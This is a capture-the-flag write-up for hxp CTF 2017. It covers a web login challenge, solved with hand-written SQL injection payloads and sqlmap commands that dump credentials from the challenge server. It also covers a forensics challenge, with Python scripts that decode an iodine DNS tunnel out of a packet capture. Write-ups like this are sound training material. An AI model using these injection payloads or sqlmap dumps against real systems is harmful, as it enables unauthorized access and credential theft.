hxp CTF 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : hxp CTF 2017
  • Website : ctf.hxp.io
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

web_of_ages - web#

Proof that you are not the latest intern at Infinion and solve these easy learning challenges.

Connection:

http://35.198.105.104:5474/

TL;DR : for this challenge there were 6 levels, I did only the 2 first.

Level 1#

Basic check when having a login form: SQLi.

Try some random value => Wrong username and/or password!.

  • login: admin
  • pass: ' or 1=1-- -
  • => Welcome admin!

so next I tried:

  • login: admin' or 1=1-- -
  • pass: random
  • => Welcome admin!
  • login: admin' or 1=2-- -
  • pass: random
  • => Welcome admin! let's use and instead of or if we want to correctly use blind SQLi.
  • login: admin' and 1=2-- -
  • pass: random
  • => Wrong username and/or password! now we can seriously start.
  • login: admin' and 1=1#
  • pass: random
  • => Welcome admin! so seems to be a MySQL backend (maybe).
  • login: admin' and (select 1)=1 #
  • pass: random
  • => Welcome admin! so subselect are supported

Ok no more manual queries sound like an easy blind SQL injection, no time for a custom ruby script, let's fire SQLmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ sqlmap -u http://35.198.105.104:5474/tasks/1_sMjJFXLUlQLnqlayiEGs5F9/index.php --method=POST --data='username=admin&password=admin' --dump
___
__H__
___ ___["]_____ ___ ___ {1.1.11#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org

[...]

web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[...]

Database: auth1
Table: auth
[1 entry]
+----+----------+---------------+
| id | username | password |
+----+----------+---------------+
| 1 | admin | epicly_secret |
+----+----------+---------------+

[...]

Log in with the credentials and get the message for level2: Great job! Now visit /tasks/2_UhEONQScloWPudOJxa9TBvV/.

Level 2#

In level 1 password was send in clear text, but here in level 2 sha1 hash of the password is sent instead. So this time the sha1 JS client code is being used: <script type="text/JavaScript" src="/js/sha1.js"></script>.

  • login: admin' or 1=1-- -
  • pass: random
  • => Wrong username and/or password!

So I guess this time username field is no more injactable but password still is. We just need to bypass the sha1 JS script to send what we want instead of the hash. I'm always using NoScript so I used that to block it but you can also use a proxy to send your payload.

  • login: admin
  • pass: ' or 1=1#
  • => Login successful!

So let's fire SQLmap again, we need to increase the risk to level 3 in order to perform OR based tests. SQLmap will use SLEEP() (time based blind SQLi) to solve this level, example: username=admin&password=admin' OR SLEEP(5) AND 'lDFe'='lDFe (to do it with a script replace what is after the AND with a sub-query you want to test like password length and content char by char).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sqlmap -u http://35.198.105.104:5474/tasks/2_UhEONQScloWPudOJxa9TBvV/index.php \
--method=POST --data='username=admin&password=admin' -p password \
--dbms=mysql --os=linux \
--user-agent='Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0' \
--referer='http://35.198.105.104:5474/tasks/2_UhEONQScloWPudOJxa9TBvV/index.php' \
--risk=3 \
--dump

[...]

Database: auth2
Table: auth
[1 entry]
+----+----------+------------------------------------------+
| id | username | password |
+----+----------+------------------------------------------+
| 1 | Johnny | 8fd58bb20bb66c93da7f03bc12933930140ecc1f |
+----+----------+------------------------------------------+

[...]

Of course we need to crack the sha1 hash. The username suggest you to use Johnny a.k.a. john the ripper to crack the password but why fire the overkill weapon when crackstation or hashkiller can tell you the password is first blood.

Note: don't forget to enable JavaScript back or stop using a proxy or keep blocking but send the hash instead of the password (yeah cracking the password hash is not necessary because what is sent is the hash so that's like it is the password, nothing change, so this sha1 pseudo-security client side is 100% useless).

Connect with credentials and get level3 message: Great job! Now visit /tasks/3_YRvXHvCrdizCccUX1LHph6B/.

inception - forensics, network#

Warning: flag format for this challenge: HXP{…}

Now please inspect.

Download:

4dd967a4fa319ae9049d4f7e3e7b5fc225e6467aa7c0bffac69335a0ad41c508.tar.xz

TL;DR : there were 2 level of encapsulation, I reversed only the 1st one.

We have a tcpdump capture file:

1
2
$ file inception.dump
inception.dump: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

I instantly recognized that the traffic looks like a DNS tunnel exfiltration.

I googled around and found a SANS whitepaper talking about detecting DNS tunneling.

By reading the whitepaper I directly understood that the DNS tunneling tool used was iodine.

iodine is the only one using binary 8-bit encoding in NULL records (OPT EDNS).

So of course I read about the famous Hack.lu CTF - Challenge 9 "bottle" writeup, extracting data from an iodine DNS tunnel.

I then foudn the improved script of RPICSEC.

But our dump is 180MB and using the script filled the 4GB RAM of my VM and froze it.

So here is what I read about improving the memory impact:

When you read PCAP file with rdpcap, the full list of decoded packets is saved in memory. If you need to do some processing per packet and do not need the full list then it is much more memory efficient to use RawPcapReader

I then improved the script myself:

  • base128_iodine.py (not modified)
  • extract_dns.py (improved with PcapReader)

base128_iodine.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
"""
Horrible looking direct port of
https://github.com/yarrick/iodine/blob/master/src/base128.c
"""

cb128 = \
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" \
"\274\275\276\277" \
"\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317" \
"\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337" \
"\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357" \
"\360\361\362\363\364\365\366\367\370\371\372\373\374\375"
rev128 = {ord(c): i for i, c in enumerate(cb128)}


def b128encode(data):
data = map(ord, data)
size = len(data)

iin = 0
buf = ''

while 1:
if iin >= size:
break
buf += cb128[((data[iin] & 0xfe) >> 1)]

if iin >= size:
break
buf += cb128[((data[iin] & 0x01) << 6) | (((data[iin + 1] & 0xfc) >> 2) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[((data[iin] & 0x03) << 5) | (((data[iin + 1] & 0xf8) >> 3) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[((data[iin] & 0x07) << 4) | (((data[iin + 1] & 0xf0) >> 4) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[((data[iin] & 0x0f) << 3) | (((data[iin + 1] & 0xe0) >> 5) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[((data[iin] & 0x1f) << 2) | (((data[iin + 1] & 0xc0) >> 6) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[((data[iin] & 0x3f) << 1) | (((data[iin + 1] & 0x80) >> 7) if (iin + 1 < size) else 0)]
iin += 1

if iin >= size:
break
buf += cb128[(data[iin] & 0x7f)]
iin += 1

return buf


def b128decode(data):
data = map(ord, data)
size = len(data)

iin = 0
buf = ''
while 1:
if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x7f) << 1) | ((rev128[data[iin + 1]] & 0x40) >> 6))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x3f) << 2) | ((rev128[data[iin + 1]] & 0x60) >> 5))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x1f) << 3) | ((rev128[data[iin + 1]] & 0x70) >> 4))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x0f) << 4) | ((rev128[data[iin + 1]] & 0x78) >> 3))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x07) << 5) | ((rev128[data[iin + 1]] & 0x7c) >> 2))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x03) << 6) | ((rev128[data[iin + 1]] & 0x7e) >> 1))
iin += 1

if iin + 1 >= size or data[iin] == 0 or data[iin + 1] == 0:
break
buf += chr(((rev128[data[iin]] & 0x01) << 7) | (rev128[data[iin + 1]] & 0x7f))
iin += 2

return buf

extract_dns.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python
"""
Modified version of StalkR's script from
http://blog.stalkr.net/2010/10/hacklu-ctf-challenge-9-bottle-writeup.html

This version doesn't use any Popen calls, and ignores any errors while decoding
- krx
"""

import zlib
from base64 import b64encode, b64decode, b32encode, b32decode
from string import translate, maketrans

from scapy.all import *

from base128_iodine import b128encode, b128decode

infile, outfile = "inception/inception.dump", "inception/extracted.pcap"
tld = ".a.ctf.link."

upstream_encoding = 128
# and no downstream encoding (type NULL)

# Translation tables for iodine's encoding
enctrans = {
32: maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345'),
64: maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789+')
}

dectrans = {
32: maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ012345', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'),
64: maketrans('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789+', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
}

# iodine encoders/decoders
encoders = {
32: lambda x: translate(b32encode(x), enctrans[32]),
64: lambda x: translate(b64encode(x), enctrans[64]),
128: b128encode
}

decoders = {
32: lambda x: b32decode(translate(x, dectrans[32])),
64: lambda x: b64decode(translate(x, dectrans[64])),
128: b128decode
}


def encoder(base, encode="", decode=""): # base=[32,64,128]
funcmap, data = (encoders, encode) if len(encode) > 0 else (decoders, decode)
return funcmap[base](data)


def uncompress(s):
try:
return zlib.decompress(s)
except zlib.error:
return False


def b32_8to5(a):
return "abcdefghijklmnopqrstuvwxyz012345".find(a.lower())


def up_header(p):
return {
"userid": int(p[0], 16),
"up_seq": (b32_8to5(p[1]) >> 2) & 7,
"up_frag": ((b32_8to5(p[1]) & 3) << 2) | ((b32_8to5(p[2]) >> 3) & 3),
"dn_seq": (b32_8to5(p[2]) & 7),
"dn_frag": b32_8to5(p[3]) >> 1,
"lastfrag": b32_8to5(p[3]) & 1
}


def dn_header(p):
return {
"compress": ord(p[0]) >> 7,
"up_seq": (ord(p[0]) >> 4) & 7,
"up_frag": ord(p[0]) & 15,
"dn_seq": (ord(p[1]) >> 1) & 15,
"dn_frag": (ord(p[1]) >> 5) & 7,
"lastfrag": ord(p[1]) & 1,
}


# Extract packets from DNS tunnel
# Note: handles fragmentation, but not packet reordering (sequence numbers)
dn_pkt, up_pkt = '', ''
datasent = False
E = []
i = 0
# modified from rdpcap to PcapReader
with PcapReader(infile) as pcap_reader:
for pkt in pcap_reader:
i+=1
if i % 1000 == 0: # Just for progress
print i

if not pkt.haslayer(DNS):
continue
if DNSQR in pkt:
if DNSRR in pkt and len(pkt[DNSRR].rdata) > 0: # downstream/server
d = pkt[DNSRR].rdata
if datasent: # real data and no longer codec/fragment checks
dn_pkt += d[2:]
if dn_header(d)['lastfrag'] and len(dn_pkt) > 0:
u = uncompress(dn_pkt)
if u:
# Include the packet if decoding succeeded,
# ignore it and move on otherwise
E += [IP(u[4:])]
dn_pkt = ''
else: # upstream/client
d = pkt[DNSQR].qname
if d[0].lower() in "0123456789abcdef":
datasent = True
up_pkt += d[5:-len(tld)].replace(".", "")
if up_header(d)['lastfrag'] and len(up_pkt) > 0:
u = uncompress(encoder(upstream_encoding, decode=up_pkt))
if u:
# Include the packet if decoding succeeded,
# ignore it and move on otherwise
E += [IP(u[4:])]
up_pkt = ''

wrpcap(outfile, E)
print "Successfully extracted %i packets into %s" % (len(E), outfile)

Then we get an extracted.pcap of 140 MB containing a lot of porn traffic but here is also a large amount of OpenVPN traffic.

I mean, after the DNS tunnel, here is the VPN tunnel, that's the next step of the inception.

Note: I did'nt find a way to decrypt the OpenVPN traffic but here are some leads.

https://wiki.wireshark.org/OpenVPN

https://wiki.wireshark.org/SSL

Decoding an SSL connection requires either knowledge of the (asymmetric) secret server key and a handshake that does not use DH or the (base of) the symmetric keys used to run the actual encryption. Support was added to Wireshark with SVN revision 37401 to do this, so it became available with Wireshark 1.6. For instructions look at this question on ask.wireshark.org

Since SVN revision 36876, it is also possible to decrypt traffic when you do not possess the server key but have access to the pre-master secret. For more details, see this security.stackexchange.com answer or this step-by-step walkthrough. That answer also contains some suggestions on finding out why SSL/TLS sessions do not get decrypted. In short, it should be possible to log the pre-master secret to a file with a current version of Firefox, Chromium or Chrome by setting an environment variable (SSLKEYLOGFILE=</path/to/private/directory/with/logfile>).

Share